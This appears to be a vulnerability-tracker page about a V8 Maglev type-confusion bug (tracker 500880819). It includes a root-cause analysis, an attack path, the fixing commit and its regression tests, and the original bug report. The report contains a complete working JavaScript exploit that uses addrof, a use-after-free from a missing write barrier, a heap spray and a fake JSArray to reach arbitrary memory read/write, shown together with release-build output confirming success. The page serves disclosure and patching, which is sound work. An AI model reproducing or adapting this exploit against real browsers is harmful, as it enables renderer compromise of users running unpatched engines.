Overview

High
Severity
8.8
CVSS
No
Exploited ITW
Fixed
Fix Status
ImpactType Confusion in V8
DescriptionType Confusion in V8
ComponentV8
Sub-componentMaglev
Bug ClassType Confusion
Action tierpatch-now — corruption primitive, web-reachable in default config (confirmed) — upheld by independent review by AI
Computed by PatchGap's deterministic exploitability ruler from the fixing commit. patch-now = RCE-class & attacker-reachable in a default config, or exploited in the wild; watch = real security signal below that bar; noise = no security relevance.
Independent review by AIConfirmed
Reviewer notes: none; mechanism matches the commit message and the kTagged gate in BuildCheckSmi. The read/write and renderer-compromise outcome is extrapolation beyond the diff, which shows only a HeapNumber in a kSmi field plus a missing write barrier.
A second, independent AI reviewer (not a human) re-derived this analysis from the fixing commit and the vendor advisory, looking for errors.
Tracker500880819
Fix commitb9be4febd638 (v8/v8) +67/-3
CWECWE-843 (Type confusion)
CVSS vectorCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
CISA KEVNot listed
Reported2026-04-09 (per vendor advisory)
Fix landed2026-04-14 (public git)
Disclosed2026-04-28
Patch gap14 days — fix public in source before the advisory

Background

`BuildCheckSmi`
The Maglev graph-builder routine that inserts a runtime check ensuring a node is a Smi before it flows into Smi-typed consumers.
`Smi` vs `HeapNumber`
A Smi is a small integer encoded directly in a tagged pointer’s bits, while a HeapNumber is a heap-allocated object holding a floating-point value, so the two are numerically comparable but differently tagged.
`value_representation()`
The Maglev node property describing how a value is held (kTagged, kInt32, kUint32, kFloat64, kHoleyFloat64, kIntPtr), where kTagged alone requires a tag-bit CheckSmi rather than a value-range check.
`checked_value` alternative
A cached alternative representation recorded by BuildCheckNumericalValue after a CheckFloat64SameValue, which can hold a Constant(HeapNumber N) even though only numeric equality (not Smi tagging) was proven.

Root Cause Analysis

The vulnerable path is in BuildCheckSmi within maglev-graph-builder.cc, which elided the runtime Smi check whenever TryGetInt32Constant(object) returned a value satisfying Smi::IsValid. That elision is only sound for non-tagged inputs, because each non-tagged switch arm (CheckInt32IsSmi, CheckUint32IsSmi, CheckFloat64IsSmi, CheckHoleyFloat64IsSmi, CheckIntPtrIsSmi) emits a value-range check that exactly matches what Smi::IsValid proves. For a kTagged input the emitted check is CheckSmi, a tag-bit check, and value-equivalence does not imply Smi tagging: BuildCheckNumericalValue’s HeapNumber branch records a Constant(HeapNumber N) in the node’s checked_value alternative after a CheckFloat64SameValue that only proves numeric equality, so TryGetInt32Constant recurses through that alternative and returns N even though the runtime value is a HeapNumber. Dropping the tag check let a HeapNumber pointer reach Smi-field consumers such as StoreTaggedFieldNoWriteBarrier, violating the invariant that a value stored into a kSmi field is actually a Smi and producing both a type confusion and a missing write barrier.

The fix gates the elision on object->value_representation() != ValueRepresentation::kTagged, restoring the CheckSmi tag check for tagged inputs while leaving tagged-Smi elision to the earlier StaticTypeIs(kSmi) / EnsureType(kSmi) early returns that carry the tag guarantee.

Key insight
The single mistake was treating value-equivalence (TryGetInt32Constant returning a Smi-range constant) as proof of Smi tagging for kTagged inputs, when the checked_value alternative can encode a numerically-equal HeapNumber; the fix limits the constant elision to non-tagged representations whose switch arms actually perform a value-range check.

Attack Path

  1. Mint a HeapNumber constant Read a value like 5.0 out of a Float64Array, producing a HeapNumber node that Maglev can numerically constant-fold to the Smi-range integer 5.
  2. Establish the numeric-equality alternative Route that HeapNumber through a path where BuildCheckNumericalValue runs CheckFloat64SameValue and records a Constant(HeapNumber N) in the node’s checked_value alternative, so TryGetInt32Constant will later recurse and return N.
  3. Reach the elided check Store the value into a field typed as kSmi (e.g. obj.smiField) so BuildCheckSmi is invoked on the tagged node; the constant elision drops the CheckSmi tag check even though the runtime value is a HeapNumber.
  4. Commit the type confusion The HeapNumber pointer is written through StoreTaggedFieldNoWriteBarrier into the Smi-typed field, so a pointer is stored where a Smi is assumed and no write barrier records the reference.
  5. Trigger corruption Force a garbage collection so the write-barrier verification / marking path processes the unbarriered field, exposing the type confusion and enabling further memory corruption.

Impact Assessment

An attacker who can run scripted JavaScript in the V8 renderer gains a type confusion in the Maglev-optimized code, storing a HeapNumber pointer into a field the engine believes holds a Smi and skipping the write barrier that GC relies on. This corrupts the object model and GC bookkeeping inside the sandboxed renderer process, providing a primitive that can be developed toward arbitrary read/write and renderer compromise. Preconditions are only that the target function is optimized by Maglev after the numerically-equal HeapNumber constant is established, which is reachable from ordinary attacker-controlled script.

Files Changed

  • src/maglev/maglev-graph-builder.cc
  • test/mjsunit/maglev/regress/regress-500880819.js
  • test/mjsunit/maglev/regress/regress-501789186.js

Audit Directions

  • Value-equivalence used as tag proof
    Audit any optimization that skips a tag-bit check (CheckSmi and similar) based on constant-folding or TryGetInt32Constant, since numeric equality does not establish tagging for kTagged nodes.
  • `checked_value` alternative recursion
    Review other consumers that recurse through cached checked_value alternatives recorded after CheckFloat64SameValue, because those alternatives can encode a HeapNumber that is only numerically equal to a Smi.
  • Representation-dependent check elision
    Look for elisions that are sound for non-tagged representations (value-range checks) but incorrectly applied to kTagged inputs, especially where a store then uses a no-write-barrier path like StoreTaggedFieldNoWriteBarrier.
From b9be4febd638434a37a4215b8ea9ae1f8fab4df6 Mon Sep 17 00:00:00 2001
From: Jakob Linke <[email protected]>
Date: Tue, 14 Apr 2026 08:46:10 +0200
Subject: [PATCH] [maglev] Restrict BuildCheckSmi constant elision to non-tagged inputs

The elision added in CL 6988172 (commit 6469250a124a) skipped the
runtime check whenever TryGetInt32Constant(object) returned a value in
Smi range. For non-tagged input representations this is sound, because
the switch below emits a value-range check (CheckInt32IsSmi /
CheckUint32IsSmi / CheckFloat64IsSmi / CheckHoleyFloat64IsSmi /
CheckIntPtrIsSmi), which is exactly what Smi::IsValid proves.

For kTagged inputs the emitted check is CheckSmi, a tag-bit check.
Value-equivalence does not imply Smi tagging: a tagged node can be equal
in value to a Smi-range constant while actually holding a HeapNumber at
runtime. This happens when BuildCheckNumericalValue's HeapNumber branch
records a Constant(HeapNumber N) in the node's checked_value alternative
after a CheckFloat64SameValue; since CheckFloat64SameValue only proves
numeric equality, both Smi(N) and HeapNumber(N) pass it.
TryGetInt32Constant recurses through the alternative and returns N, so
the elision drops the tag check and a HeapNumber pointer can flow into
downstream consumers (e.g. the kSmi-field store path via
StoreTaggedFieldNoWriteBarrier), causing a type confusion and a missing
write barrier.

Gate the elision on value_representation() != kTagged. For tagged Smi
inputs the earlier StaticTypeIs(kSmi) / EnsureType(kSmi) early returns
already handle elision via type-system facts, which carry the tag
guarantee the value-equivalence alternative does not.

Fixed: 500880819
Change-Id: Ida0c18551974c5d861e0aed6f881439d04598c0b
Reviewed-on: https://chromium-review.googlesource.com/c/v8/v8/+/7761542
Reviewed-by: Victor Gomes <[email protected]>
Commit-Queue: Jakob Linke <[email protected]>
Cr-Commit-Position: refs/heads/main@{#106450}
---

diff --git a/src/maglev/maglev-graph-builder.cc b/src/maglev/maglev-graph-builder.cc
index 1153aef..62b27fe 100644
--- a/src/maglev/maglev-graph-builder.cc
+++ b/src/maglev/maglev-graph-builder.cc
@@ -4150,9 +4150,16 @@
   }
   if (EnsureType(object, NodeType::kSmi) && elidable) return object;
   RecordSmiUse(object);
-  // For constants, we may be able to skip the runtime check.
-  if (std::optional<int32_t> constant_value = TryGetInt32Constant(object)) {
-    if (Smi::IsValid(constant_value.value())) return object;
+  // For non-tagged constants, we may be able to skip the runtime check: every
+  // non-tagged arm of the switch below emits a value-range check, which is
+  // exactly what `Smi::IsValid` proves. For tagged inputs the runtime check
+  // (CheckSmi) is a tag-bit check, and value-equivalence (e.g. via the
+  // checked_value alternative, which may hold a HeapNumber constant) does not
+  // imply Smi tagging.
+  if (object->value_representation() != ValueRepresentation::kTagged) {
+    if (std::optional<int32_t> constant_value = TryGetInt32Constant(object)) {
+      if (Smi::IsValid(constant_value.value())) return object;
+    }
   }
   switch (object->value_representation()) {
     case ValueRepresentation::kInt32:
diff --git a/test/mjsunit/maglev/regress/regress-500880819.js b/test/mjsunit/maglev/regress/regress-500880819.js
new file mode 100644
index 0000000..bf6b8f0
--- /dev/null
+++ b/test/mjsunit/maglev/regress/regress-500880819.js
@@ -0,0 +1,31 @@
+// Copyright 2026 the V8 project authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+//
+// Flags: --allow-natives-syntax --maglev --expose-gc
+
+let f = new Float64Array(1); f[0] = 5;
+let HN5 = f[0];
+globalThis.G = HN5;
+
+let obj = { smiField: 1 };
+obj.smiField = 2;
+obj.smiField = 3;
+
+function sh(o, x, c) { if (c) o.smiField = x; }
+function corrupt(o, x, c) { G = x; sh(o, x, c); }
+
+%PrepareFunctionForOptimization(sh);
+%PrepareFunctionForOptimization(corrupt);
+sh(obj, 5, true);
+corrupt(obj, HN5, false);
+corrupt(obj, HN5, false);
+%OptimizeMaglevOnNextCall(sh);
+%OptimizeMaglevOnNextCall(corrupt);
+
+// Trigger: HeapNumber(5.0) ends up in a kSmi-typed field without a Smi check.
+corrupt(obj, HN5, true);
+
+// Force a write-barrier verification path by allocating.
+gc();
+assertEquals(5, obj.smiField);
diff --git a/test/mjsunit/maglev/regress/regress-501789186.js b/test/mjsunit/maglev/regress/regress-501789186.js
new file mode 100644
index 0000000..c3baa6f
--- /dev/null
+++ b/test/mjsunit/maglev/regress/regress-501789186.js
@@ -0,0 +1,26 @@
+// Copyright 2026 the V8 project authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+//
+// Flags: --fuzzing --expose-gc --allow-natives-syntax --disable-abortjs
+// Flags: --disable-in-process-stack-traces
+
+let f64 = new Float64Array(1);
+f64[0] = 1.0;
+let hn = f64[0];
+
+let script_var_1 = hn;
+let script_var_2 = 1;
+script_var_2 = 2;
+
+function foo(x) {
+  script_var_1 = x;
+  script_var_2 = x;
+}
+
+%PrepareFunctionForOptimization(foo);
+%OptimizeMaglevOnNextCall(foo);
+
+foo(hn);
+
+assertEquals(1, script_var_2);
Loading diff…

Regression Test / PoC

shipped with the fix
diff --git a/test/mjsunit/maglev/regress/regress-500880819.js b/test/mjsunit/maglev/regress/regress-500880819.js
new file mode 100644
index 0000000..bf6b8f0
--- /dev/null
+++ b/test/mjsunit/maglev/regress/regress-500880819.js
@@ -0,0 +1,31 @@
+// Copyright 2026 the V8 project authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+//
+// Flags: --allow-natives-syntax --maglev --expose-gc
+
+let f = new Float64Array(1); f[0] = 5;
+let HN5 = f[0];
+globalThis.G = HN5;
+
+let obj = { smiField: 1 };
+obj.smiField = 2;
+obj.smiField = 3;
+
+function sh(o, x, c) { if (c) o.smiField = x; }
+function corrupt(o, x, c) { G = x; sh(o, x, c); }
+
+%PrepareFunctionForOptimization(sh);
+%PrepareFunctionForOptimization(corrupt);
+sh(obj, 5, true);
+corrupt(obj, HN5, false);
+corrupt(obj, HN5, false);
+%OptimizeMaglevOnNextCall(sh);
+%OptimizeMaglevOnNextCall(corrupt);
+
+// Trigger: HeapNumber(5.0) ends up in a kSmi-typed field without a Smi check.
+corrupt(obj, HN5, true);
+
+// Force a write-barrier verification path by allocating.
+gc();
+assertEquals(5, obj.smiField);
diff --git a/test/mjsunit/maglev/regress/regress-501789186.js b/test/mjsunit/maglev/regress/regress-501789186.js
new file mode 100644
index 0000000..c3baa6f
--- /dev/null
+++ b/test/mjsunit/maglev/regress/regress-501789186.js
@@ -0,0 +1,26 @@
+// Copyright 2026 the V8 project authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+//
+// Flags: --fuzzing --expose-gc --allow-natives-syntax --disable-abortjs
+// Flags: --disable-in-process-stack-traces
+
+let f64 = new Float64Array(1);
+f64[0] = 1.0;
+let hn = f64[0];
+
+let script_var_1 = hn;
+let script_var_2 = 1;
+script_var_2 = 2;
+
+function foo(x) {
+  script_var_1 = x;
+  script_var_2 = x;
+}
+
+%PrepareFunctionForOptimization(foo);
+%OptimizeMaglevOnNextCall(foo);
+
+foo(hn);
+
+assertEquals(1, script_var_2);
Loading diff…

Original Bug Report

reported by [email protected]

Type confusion in BuildCheckSmi constant folding in V8/Maglev

Tested on: V8 14.9.0 (candidate), HEAD 31b353261e41a9d15c829359b0d4d9e261debeb6 (2026-04-04)

BuildCheckSmi elides the runtime Smi check when TryGetInt32Constant returns a value in Smi range. TryGetInt32Constant recurses through the checked_value alternative recorded by SetKnownValue. When BuildCheckNumericalValue records a Constant(HeapNumber 5.0) as the checked_value (after CheckFloat64SameValue passes), TryGetInt32Constant follows the alternative, sees IsInt32Double(5.0), and returns 5 — without verifying that the runtime representation is Smi.

The CheckFloat64SameValue node verifies value equality (5.0 == 5.0), not representation. Both Smi(5) and HeapNumber(5.0) pass it. The elided CheckSmi was the only thing preventing a HeapNumber pointer from reaching BuildStoreTaggedFieldNoWriteBarrier (the kSmi-field store path, which omits the write barrier under the assumption that Smis don’t need one).

Result: a tagged HeapNumber pointer is written into a kSmi-typed field with no write barrier. The receiver’s map is unchanged. The remembered set is not updated.


Root cause

The elision (maglev-graph-builder.cc:4145-4146)

ReduceResult MaglevGraphBuilder::BuildCheckSmi(ValueNode* object, ...) {
  ...
  // For constants, we may be able to skip the runtime check.
  if (std::optional<int32_t> constant_value = TryGetInt32Constant(object)) {
    if (Smi::IsValid(constant_value.value())) return object;   // ← elide CheckSmi
  }
  ...
}

This is sound when object is a constant node. It is unsound when object is a runtime value whose checked_value alternative is a constant.

The recursion (maglev-reducer-inl.h:722-723)

std::optional<int32_t> MaglevReducer<BaseT>::TryGetInt32Constant(ValueNode* value) {
  switch (value->opcode()) {
    case Opcode::kConstant: {
      compiler::ObjectRef object = value->Cast<Constant>()->object();
      if (object.IsHeapNumber() &&
          IsInt32Double(object.AsHeapNumber().value())) {       // ← 5.0 → true
        return static_cast<int32_t>(object.AsHeapNumber().value());
      }
      ...
    }
    ...
  }
  if (auto c = TryGetConstantAlternative(value)) {
    return TryGetInt32Constant(*c);                             // ← recurse on checked_value
  }
  return {};
}

TryGetConstantAlternative (maglev-reducer-inl.h:480-490) reads info->alternative().checked_value() and returns it if it’s a constant node. The recursive call then hits the kConstant case for the HeapNumber.

Where checked_value is set (maglev-graph-builder.cc:12268-12271)

ReduceResult MaglevGraphBuilder::BuildCheckNumericalValue(...) {
  ...
    RETURN_IF_ABORT(
        AddNewNode<CheckFloat64SameValue>({node}, ref_value, reason));
  }

  reducer_.SetKnownValue(node, ref, NodeType::kNumber);          // ← here
  return ReduceResult::Done();
}

SetKnownValue (maglev-reducer-inl.h:1396) does:

known_info->alternative().set_checked_value(GetConstant(ref));

ref is the compile-time PropertyCell value — a HeapNumber 5.0 object. GetConstant(ref) produces Constant(HN 5.0). This is recorded as the checked_value for the runtime node.

The implicit contract violated: checked_value was meant to record “after this check, the runtime value is equal to this constant”, but TryGetInt32Constant reads it as “the runtime value is this constant (same representation)”.

The sink (maglev-graph-builder.cc:5359-5421)

ValueNode* value = GetAccumulator();                           // raw tagged
...
if (field_representation.IsSmi()) {
  RETURN_IF_ABORT(GetAccumulatorSmi(...));   // ← inserts CheckSmi (or tries to)
                                             //   result IGNORED — only the side
                                             //   effect (CheckSmi node) matters
}
...
if (field_representation.IsSmi()) {
  RETURN_IF_ABORT(BuildStoreTaggedFieldNoWriteBarrier(
      store_target, value, field_index.offset(), store_mode, name));
}

GetAccumulatorSmi → BuildCheckSmi. With the check elided, value (the unmodified accumulator, holding a HeapNumber pointer) flows directly to BuildStoreTaggedFieldNoWriteBarrier.


Impact

  • addrof — A Maglev-compiled load of obj.f emits UnsafeSmiUntag (map says kSmi, no tag check). Reading the corrupted field returns compressed_ptr >> 1. Deterministic, repeatable.
  • UAF — obj in old-gen, fresh HN in young-gen, no remembered-set entry. Minor GC frees the HN; obj.f dangles. Spray new-space → fakeobj → in-cage arbitrary read/write.
  • Arbitrary Read/Write demonstrated with zero flags (./d8 poc.js), quite reliable.

Repro

// Two triggers of the same bug:
//   #1: corrupt(obj, HN5,    true) — old→old, GC-safe, pure type confusion.
//       addrof(obj) → UnsafeSmiUntag → leaks HN5's compressed ptr.
//   #2: corrupt(obj, freshHN, true) — old→young, missing WB → dangling → fakeobj.
//
// Trigger #1 is allocation-free (HN5 exists, addrof returns Smi-range int,
// recovery is integer math) → young-gen bump pointer unchanged → freshHN lands
// at the same young-gen offset as the single-trigger version.
//
// No eval closures, no scan window, no hardcoded HN5 neighborhood. The only
// build-specific constant is JSARRAY_DBL_MAP (RO-root, run-stable, standard).
//
// Run: d8 poc.js

const JSARRAY_DBL_MAP = 0x0100d0d9;
const FAKE_LEN        = 0x100;
const WARMUP_N        = 30000;

let f64 = new Float64Array(1);
let u32 = new Uint32Array(f64.buffer);
function itof(lo, hi) { u32[0]=lo>>>0; u32[1]=hi>>>0; return f64[0]; }
function ftoi(d) { f64[0]=d; return [u32[0]>>>0, u32[1]>>>0]; }

const SPRAY_D = itof(FAKE_LEN << 1, JSARRAY_DBL_MAP);

// ─── Setup ───
let __f = new Float64Array(1); __f[0] = 5;
let HN5 = __f[0];
globalThis.G = HN5;

let obj = { smiField: 1 };
obj.smiField = 2; obj.smiField = 3;

// ─── Organic promotion ───
for (let i = 0; i < 400; i++) { new Array(10000).fill(1.1); }

// ─── Functions ───
function sh(o, x, c) { if (c) o.smiField = x; }
sh(obj, 5, true); sh(obj, 5, true); sh(obj, 5, true);

function corrupt(o, x, c) { G = x; sh(o, x, c); }

// addrof: Maglev trusts kSmi map → LoadTaggedField → UnsafeSmiUntag (no tag
// check) → Int32Add. `+7` survives identity-folding (+0, |0, *1 all fold).
// Recovery: ptr = ((r-7)<<1)|1.  HN5_ptr ≈ 0x012xxxxx → >>1 ≈ 9M → Smi-range.
function addrof(o) { return o.smiField + 7; }
addrof(obj); addrof(obj); addrof(obj);

// ─── Warmup: tier BOTH corrupt and addrof to Maglev ───
// addrof trained on Smi(5) → returns 12. Loop allocates nothing.
for (let i = 0; i < WARMUP_N; i++) {
  corrupt(obj, HN5, false);
  addrof(obj);
  if ((i & 15) === 0) sh(obj, 5, true);
}

// ─── Trigger #1: addrof(HN5) — ALLOCATION-FREE ───
// HN5 is old-gen, obj is old-gen → WriteBarrier::IsRequired = false. The
// missing WB is harmless here. Type confusion alone: CheckSmi elided, HN5's
// tagged ptr lands in the kSmi field, map unchanged. addrof's CheckMaps
// passes, UnsafeSmiUntag shifts the raw bits. No deopt — corrupt stays Maglev.
//
// NO IIFE: HN5 is already a tagged HN (script-scope let, loaded via context
// slot). OSR'd top-level passes it tagged — no __f[0]-style unboxing risk.
// IIFE would allocate a closure object (~28B young-gen) → shifts freshHN.
//
// NO PRINT: string concat + toString allocate. Defer all output.
//
// leaked ≈ (0x012xxxxx >> 1) + 7 ≈ 9M → Smi. Recovery math stays Smi-range.
// `let` slots pre-reserved in script context at parse — assignment is no-alloc.
corrupt(obj, HN5, true);
let leaked = addrof(obj);
let HN5_ADDR = (((leaked - 7) << 1) | 1) >>> 0;
obj.smiField = 5;          // reset: store IC sees kSmi map + Smi value → clean

// ─── Trigger #2: dangling ───
// freshHN is young-gen → old→young store, missing WB → no remembered-set entry.
(function(){ corrupt(obj, __f[0], true); })();

// ─── Stack scrub ───
(function r(n){return n>0?r(n-1)+n:0;})(400);

// ─── Spray (organic minor GCs mid-loop) ───
let pads = [];
for (let j = 0; j < 200; j++) {
  let a = new Array(1000);
  for (let i = 0; i < 1000; i++) a[i] = SPRAY_D;
  pads.push(a);
}

// ─── Verify fake JSArray ───
let fake = obj.smiField;
if (typeof fake === "number") {
  print("\n[fail] HN survived (typeof=number, val=" + fake + ")");
  throw "UAF didn't fire";
}
let len;
try { len = fake.length; } catch(e) {
  print("\n[fail] fake.length threw: " + e);
  throw "fake malformed";
}
print("\n[fake] typeof=" + typeof fake + " length=" + len + " (expect " + FAKE_LEN + ")");
if (len !== FAKE_LEN) {
  print("[fail] alignment/spray miss");
  throw "spray miss";
}
print("[fake] *** fake JSArray landed ***");

// ─── Initial read (elements still = JSARRAY_DBL_MAP) ───
let v_init = fake[0];
let [li,hi] = ftoi(v_init);
print("[read] fake[0] @ MAP+7 = " + v_init);
print("[read]   hex 0x" + hi.toString(16).padStart(8,'0') + "_" + li.toString(16).padStart(8,'0'));

// ─── Spray-scan: find length-controlling slot (uses fake.length only — no
// elements deref → safe in OSR'd code, no map check on elements) ───
const PROBE_D = itof(0x777 << 1, JSARRAY_DBL_MAP);
let fj=-1, fk=-1;
scan: for (let j = 0; j < 200; j++) {
  let a = pads[j];
  for (let k = 0; k < 1000; k++) {
    a[k] = PROBE_D;
    if (fake.length === 0x777) { fj=j; fk=k; a[k]=SPRAY_D; break scan; }
    a[k] = SPRAY_D;
  }
}
if (fj < 0) {
  print("\n[fail] scan miss — spray not writable at dangling");
  throw "scan miss";
}
print("[scan] *** pads[" + fj + "][" + fk + "] controls fake.length ***");

// ─── Retarget + arb R/W demo (IIFE → Ignition → no elements-map check) ───
// fake[0] reads 8B at elements_tagged + 7. HN.value at HN_tagged + 3.
// elements = HN5_ADDR - 4 → reads at HN5_ADDR + 3 = HN5.value.
//
// IIFE because optimized fake[0] (Maglev/TF) emits CheckMaps on fake.elements
// expecting FixedDoubleArray. elements is now HN5_ADDR-4 (a HeapNumber-ish
// region) → CHECK or deopt. Ignition's keyed-load IC trusts the receiver map,
// dereferences elements blindly. One call → cold → Ignition.
let _pad = pads[fj], _slot = fk-1;
let result = (function(){
  _pad[_slot] = itof(FAKE_LEN<<1, (HN5_ADDR - 4) >>> 0);
  let v = fake[0];
  if (v !== 5) return v;        // wrong addr or HN5 moved (major GC)
  fake[0] = 1337.42;
  return v;
})();

if (result !== 5) {
  print("\n[fail] read at leaked addr = " + result + " (expected 5)");
  print("       HN5_ADDR stale? major GC moved HN5 between leak and now?");
  throw "addr stale";
}

let hn5_now = HN5 + 0;
// (deferred from trigger #1 — printing there would have allocated strings
// in young-gen before freshHN, shifting its alignment)
print("\n[addrof] leaked raw = " + leaked + " (12 would mean bug didn't fire)");
print("[addrof] HN5_ADDR   = 0x" + HN5_ADDR.toString(16) + " (UnsafeSmiUntag, no scan)");
print("\n[!!!] ARBITRARY READ:  fake[0] @ leaked 0x" + HN5_ADDR.toString(16) + " = 5.0");
print("[!!!] ARBITRARY WRITE: fake[0] = 1337.42 → HN5+0 = " + hn5_now);
print("[!!!]   v_init (Map bytes @ 0x" + JSARRAY_DBL_MAP.toString(16) + "+7) = " + v_init);
print("[!!!]   HN5+0  (after write, independent JS read)            = " + hn5_now);

if (hn5_now === 1337.42) {
  print("  *** ARB R/W achieved ***");
}

Debug (show root cause)

❯ ./v8/out/x64.debug/d8 poc/maglev-checksmi-elision/poc.js 
#
# Fatal error in ../../src/heap/heap.cc, line 6784
# Check failed: !WriteBarrier::IsRequired(heap_object, Tagged<Object>(value)).
#
#
#
#FailureMessage Object: 0x7ffeb5d87868
==== C stack trace ===============================

    /home/pop/sec/v8/v8/out/x64.debug/libv8_libbase.so(v8::base::debug::StackTrace::StackTrace()+0x29) [0x735b27276179]
    /home/pop/sec/v8/v8/out/x64.debug/libv8_libplatform.so(+0x4e2cd) [0x735b173e12cd]
    /home/pop/sec/v8/v8/out/x64.debug/libv8_libbase.so(v8::base::PrintStackTraceIfAvailable()+0x14) [0x735b272491e4]
    /home/pop/sec/v8/v8/out/x64.debug/libv8_libbase.so(V8_Fatal(char const*, int, char const*, ...)+0x1f9) [0x735b27249999]
    /home/pop/sec/v8/v8/out/x64.debug/libv8.so(v8::internal::Heap::VerifySkippedWriteBarrier(unsigned long, unsigned long)+0x12b) [0x735b218fc10b]
    [0x735b7fc9441b]
[1]    1417951 trace trap (core dumped)  ./v8/out/x64.debug/d8 

Release (Arbitrary R/W)

❯ ./v8/out/ASAN_RELEASE/d8 audit-notes/maglev-checksmi-elision/poc-organic-honest.js

[fake] typeof=object length=256 (expect 256)
[fake] *** fake JSArray landed ***
[read] fake[0] @ MAP+7 = 1.6291488275493544e-260
[read]   hex 0x0a0007ff_1100084b
[scan] *** pads[104][716] controls fake.length ***

[addrof] leaked raw = 9582111 (12 would mean bug didn't fire)
[addrof] HN5_ADDR   = 0x1246c31 (UnsafeSmiUntag, no scan)

[!!!] ARBITRARY READ:  fake[0] @ leaked 0x1246c31 = 5.0
[!!!] ARBITRARY WRITE: fake[0] = 1337.42 → HN5+0 = 1337.42
[!!!]   v_init (Map bytes @ 0x100d0d9+7) = 1.6291488275493544e-260
[!!!]   HN5+0  (after write, independent JS read)            = 1337.42
  *** ARB R/W achieved ***

Suggested fix

The issue is introduced by 6469250a124a: [maglev] Improve constant handling for BuildCheckSmi and the Array ctor, 2025-09-26, crrev.com/c/6988172.

TryGetInt32Constant answers “what int32 value does this node hold?” — it does not prove the runtime representation is Smi. BuildCheckSmi should only elide when object itself is a constant node, not when its checked_value alternative is:

if (IsConstantNode(object->opcode())) {
  if (std::optional<int32_t> c = TryGetInt32Constant(object)) {
    if (Smi::IsValid(c.value())) return object;
  }
}
View on issue tracker
Links in the report